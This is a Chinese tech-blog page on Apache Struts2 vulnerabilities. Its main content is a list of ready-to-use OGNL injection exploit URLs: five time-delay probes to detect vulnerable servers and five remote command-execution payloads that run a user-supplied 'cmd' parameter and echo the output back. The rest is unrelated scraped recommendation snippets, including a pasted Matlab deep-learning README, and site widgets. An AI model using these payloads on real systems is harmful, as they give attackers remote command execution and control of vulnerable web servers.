struts安全漏洞

struts2安全漏洞

http://netsecurity.51cto.com/art/201305/395081.htm

 

http://zone.wooyun.org/content/3880

 

http://www.freebuf.com/vuls/9757.html

 

演示DEMO下载:

http://pan.baidu.com/share/link?shareid=495946&uk=1076602916


利用代码:

检测是否存在:

POC1:



http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(5000)')(d))



POC2:



http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000))%2b'



POC3:

http://127.0.0.1/Struts2/hello.action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,@java.lang.Thread@sleep(5000))(meh%29&z[%28foo%29%28%27meh%27%29]=true



POC4:



http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d+new+java.lang.Boolean(false)%2c+%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c+%23a%3d%40java.lang.Thread@sleep(5000))(aa)&x[(class.classLoader.jarPath)('aa')]



POC5(执行了两次所以是10秒):



http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000)}





执行CMD命令:



关于回显:webStr\75new\40byte[100] 修改为合适的长度。



POC1:



http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(h)(('\43webRootzpro\75@java.lang.Runtime@getRuntime().exec(\43req.getParameter(%22cmd%22))')(d))&(i)(('\43webRootzproreader\75new\40java.io.DataInputStream(\43webRootzpro.getInputStream())')(d))&(i01)(('\43webStr\75new\40byte[100]')(d))&(i1)(('\43webRootzproreader.readFully(\43webStr)')(d))&(i111)(('\43webStr12\75new\40java.lang.String(\43webStr)')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('\43xman.getWriter().println(\43webStr12)')(d))&(i99)(('\43xman.getWriter().close()')(d))&cmd=cmd%20/c%20ipconfig



POC2:



http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[100],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result))%2b'&cmd=cmd%20/c%20ipconfig



POC3:



http://127.0.0.1/freecms/login_login.do?user.loginname=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=%20new%20java.lang.Boolean(false),%23_memberAccess[%22allowStaticMethodAccess%22]=new%20java.lang.Boolean(true),%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result))&z[(user.loginname)('meh')]=true&cmd=cmd%20/c%20set  



POC4:



http://127.0.0.1/Struts2/test.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23a=%40java.lang.Runtime%40getRuntime().exec(%23req.getParameter(%22cmd%22)).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5b50000%5d,%23c.read(%23d),%23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23s3cur1ty.println(%23d),%23s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)('aa')]&cmd=cmd%20/c%20netstat%20-an



POC5:



http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result),%23response.close()}&cmd=cmd%20/c%20set


发几张图证明下:

1.jpg

2.jpg

3.jpg

4.jpg


相关:

http://ahack.iteye.com/blog/1858871
http://ahack.iteye.com/blog/1873005

某SSC模板通杀漏洞 目录 0x1漏洞位置 0x2漏洞利用 0x3 漏洞关键词 0x1漏洞位置 该漏洞位置位于ssc后台,为登陆处延时注入。 0x2漏洞利用 在登陆过程中抓包获取相关http请求包: POST /Public.login.do HTTP/1.1 Host: xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Content-Length: 223 Accept: text/html, 阅读详情

相关推荐

struts1漏洞总结及整改方案

因为最近攻防演练,对公司的资产进行梳理,发现部分应用还使用的struts1框架,所以赶快收集整理了相关的漏洞以及相关的整改方案。提供给大家。

Goby漏洞更新|H2 Database 数据库 login.do 文件远程代码执行漏洞 (CVE-2021-42392)

H2 database是一款Java内存数据库,多用于单元测试。H2-Database Web管理页面存在未授权远程代码执行漏洞,攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。

m0_46699477的博客 679

一个基于oracle 数据库的struts 的例子的源文件

一个struts 开发的小项目的源文件,简单的增加,删除,修改功能 oracle数据库,简单的运用div+css 布局,美化页面。checkbox的多选择的实现

Web漏洞挖掘(一)登录认证模块的暴力破解实例

Web漏洞挖掘(一)登录认证模块的暴力破解实例暴力破解的定义暴力破解的分类暴力破解的威胁涉及的基础知识模块相关硬件(高速GPU推荐)基于Burp Suite的暴力破解实例 暴力破解的定义 暴力破解测试是指针对应用系统用户登录账号与密码进行的枚举测试,针对账号或密码进行逐一对比,直到找到正确的账号与密码。 暴力破解的分类 已知账号的情况 :加载密码字典针对密码进行枚举测试; 未知账号的情况 :加载账号字典,配合着密码字典进行枚举测试; 未知账号和密码的情况:利用两个账号字典与密码字典进行枚举测试; 暴力破

wuqi5700的博客 4986

Android Geckoview实战:5分钟搞定JS与原生交互(附完整Demo代码)

本文详细介绍了在Android应用中使用GeckoView替代系统WebView,构建稳定高效的JavaScript与原生代码交互桥梁的实战方法。通过WebExtension架构,文章提供了从环境配置、扩展开发到Android端集成的完整步骤,并附有可运行的Demo代码,帮助开发者快速解决混合应用中的兼容性问题。

u5v6w7的博客 934

制造业信息化的现实困局与未来展望:从基础到数字化的挑战与机遇

随着全球科技的发展和市场竞争的加剧,制造业的转型升级成为企业必须面临的挑战。在信息化和数字化的浪潮下,许多企业试图通过技术创新来提升自身竞争力。然而,现实情况是,绝大部分制造业企业的基本信息化都尚未完成,更遑论复杂的数字化。那么,制造业在信息化进程中面对哪些阻碍?未来又该如何实现从基础信息化到数字化的转型?

Yz2024的博客 2983

高危漏洞(登录接口带有vcode造成CSFF攻击)

测试软件 appscan 测试结果 来源 POST /web-api/api/login/checkLogin.do?vcode=3564 解决方案 把vcode放入body里

meimeib的博客 305

组态王|组态王通过选择日期实现历史数据的查询

②在弹出的【插入通用控件】对话框选择【Calender Control】控件,然后点击【确定】按钮,关闭对话框,然后在画面上适当的位置按住鼠标左键并拖动,绘制出一个矩形框,放开鼠标,就完成了控件的绘制。此函数将指定的时间格式(年,月,日,时,分,秒)转换为以秒为单位的长整型数,转换的时间基准是UTC(格林尼治)1970年1月1日00:00:00。实现内容,通过两个日历控件选择开始日期和结束日期,然后点击【历史数据查询】按钮,在报表中显示对应时间段的数据集。另外你用过哪些组态软件?

做有价值的事,积累有价值的笔记! 4558

Struts2 漏洞集合

Struts2 漏洞集合 总结了一部分 Strtus2 漏洞,虽然现在这部分的漏洞很少了,但也是学习的一部分,收集的并不全面,后续会做补充。 漏洞环境搭建可以使用在线的 Vulfocus ,或者使用docker部署 S2-001 (CVE-2007-4556) 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用

kali_Ma的博客 8145

C++/WinRT入门指南:现代Windows原生开发的核心技术

Windows运行时(WinRT)是微软为现代Windows应用开发设计的一套跨语言API框架,它基于COM技术原理构建,提供了统一的二进制接口标准。这项技术的核心价值在于让开发者能够以原生性能调用系统级功能,同时保持跨语言兼容性。在工程实践中,C++/WinRT作为官方推荐的C++语言投影,通过标准C++语法封装WinRT API,显著降低了开发复杂度。特别是在异步编程场景中,结合C++20协程特性,能够大幅提升代码可读性和维护性。对于需要高性能图形处理、系统集成或跨平台兼容的桌面应用开发,掌握C++/W

weixin_33910191的博客 1196

SpotBugs使用

spotbugs命令行参数解析

javajingling的专栏 2947

struts2安全漏洞

Struts2是apache项目下的一个web 框架,普遍应用于阿里巴巴、京东等互联网、政府、企业门户网站。 2内容编辑 在2013年6月底发布的Struts 2.3.15版本被曝出存在重要的安全漏洞[1] ,主要问题如下: 可远程执行服务器脚本代码[2]  用户可以构造http://host/struts2-blank/example/X.action?actio

业精于勤荒于嬉;行成于思,毁于随。 730

Skiplist,B,B+tree,LSM tree

SkipList 理解(如何实现): 即使是有序的链表,查找的时间复杂度也是O(n),但链表不能随机访问所以不适用于二分查找,使得查找的时间复杂度为O(logn)。 于是将有序链表和二分查找结合得到了SkipList,类似于二叉搜索树,这是一种以空间换时间的算法,通过在每个节点中增加向前的指针,从而提升查找效率(如下图所示)。 一开始如a所示,是一个有序的链表,时间复杂度O(n)。随后建立了e所示的SkipList,从最顶层往下查找,可以跳过许多元素,减少查找次数。 ​

weixin_45875458的博客 947

struts2安全漏洞解决方案

struts2安全漏洞解决方案  转载地址: http://www.pin18.net/jishu/879.html - 在上月爆出了Struts2的远程执行任意代码的漏洞,各大网站都在紧急升级struts版本,以防止被恶意攻击。因此,客户也要求尽快修补此漏洞。经过和同事的不懈奋战,终于将负责的十几个系统的安全漏洞修补完成。 简单描述下此次安全漏洞: Struts2的核心

p0p0p0p01的专栏 1215

【生信分析】clusterProfiler: universal enrichment tool for functional and comparative study(1)

clusterProfiler: universal enrichment tool for functional and comparative studyClusterProfiler: 用于功能和比较研究的通用富集工具总览1. 引言1.1 术语1.1.1 基因集和通路1.1.2 基因同源(GO)1.1.3 京都基因与基因组百科全书(KEGG)1.1.4 其他基因集2. 功能富集分析方法2.1 过度表征分析(Over Representation Analysis)2.2 基因集富集分析(Gene Se

小哲的博客 1365

[游戏排查] Baldur‘s Gate 3 加载完成即崩溃?五步排查帮你快速定位问题

《博德之门3》加载崩溃问题解决方案:针对游戏进度条走完后闪退的情况,提供五步排查法。首先清除LevelCache缓存(成功率最高),其次检查Mod兼容性,然后切换Vulkan/DX11渲染API,再排查存档损坏问题,最后可删除配置目录(需备份存档)。重点提示Steam验证无法解决此类问题,建议按步骤顺序排查,多数情况下前两步即可解决问题。

技术小甜甜:传播可落地技术,帮助个人和企业降低解决真实场景问题的成本 3258

Struts 2 安全漏洞层出不穷为哪般?

分类: 编程资源2014-07-10 22:51245人阅读评论(0)收藏举报 apachestruts 2漏洞安全开源 (作者:王果 2013年7月发表于优快云资讯) Apache Struts团队6月底发布的Struts 2.3.15版本被曝出存在重要的安全漏洞,因此该团队紧急发布了Struts 2.3.15.1安全更新版本。 该版本修复的主要安全漏洞如下: 1.

snow1wolf的专栏 588

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

Struts2 两大高危安全漏洞,网站安全再受考验

近日,Struts2 被曝出两个高危安全漏洞,影响的版本Struts 2.0.0 – Struts 2.3.15的 Struts2 全系版本,国内政府、金融、运营商及各大互联网公司的网站已受影响。 一个是使用缩写的导航参数前缀时的远程代码执行漏洞,另一个是使用缩写的重定向参数前缀时的开放式重定向漏洞。这些漏洞可使黑客取得网站服务器的“最高权限”,从而使企业服务器变成黑客手中的“肉鸡”。 S

ye1992的专栏 2800

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

Struts2安全漏洞频出 ,多因Apache官方代码编写不严谨

http://www.freebuf.com/articles/web/33301.html    日前,Struts2再次爆出安全漏洞,主要影响国内电商、银行、运营商等诸多大型网站和为数众多的政府网站。国外安全研究人员日前发现,Apache Struts2在处理CVE-2014-0094的漏洞补丁中存在缺陷,会被轻易绕过,可导致任意命令执行。黑客进而能够窃取到网站数据,或者对网站进行D

杨文的专栏(南京Java讲师) 657

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

Apache Struts 2框架:安全漏洞分析与防范

Apache Struts 2框架的安全漏洞分析与防范是Web应用开发中不可忽视的重要环节。通过本文的阐述,我们了解到Struts 2框架的安全漏洞类型、影响以及防范措施。开发者应充分认识到Struts 2安全性的重要性,采取有效措施确保Web应用的稳定运行。加强安全意识:关注网络安全动态,了解最新的安全漏洞和防范策略。遵循安全开发规范:在开发过程中,遵循安全编码规范,减少潜在的安全风险。定期进行安全检查:对Web应用进行定期安全检查,发现并修复安全漏洞。加强团队合作。

2501_92489053的博客 1197

程序世界系列之-struts2安全漏洞引发的安全杂谈(上)

目录: 1.讨论关于struts 安全问题。 2.黑客文化。 3.如何降低安全漏洞的出现。 4.忠告建议。 题记: 这篇文章本来很早应该和大家见面的,中间由于个人原因调整了系列文章发布时间,实属罪过。为了不误导大众文章中间讲述的经历想法实战,均属个人看法个人行为不代表任何团体及组织。观看者请保留自己的想法观点!欢迎各位热爱编程的技术人员交流。废话不多,开始正文。 1.讨论...

weixin_33725272的博客 538

记录一次Struts s2-045重大安全漏洞修复过程

【升级修复】 受影响用户可升级版本至Apache Struts 2.3.32 或 Apache Struts 2..5.10.1以消除漏洞影响。 官方公告:https://cwiki..apache.org/confluence/display/WW/S2-045?from=groupmessage&isappinstalled=0 【临时处理方法】方式1:修改struts2组件中的d...

weixin_30730151的博客 361
上一篇: AppFuse使用手记
下一篇: Linux 上的高可用中间件,第 1 部分: heartbeat 与 Apache Web 服务器
john521
博客等级 码龄20年 17粉丝 253原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值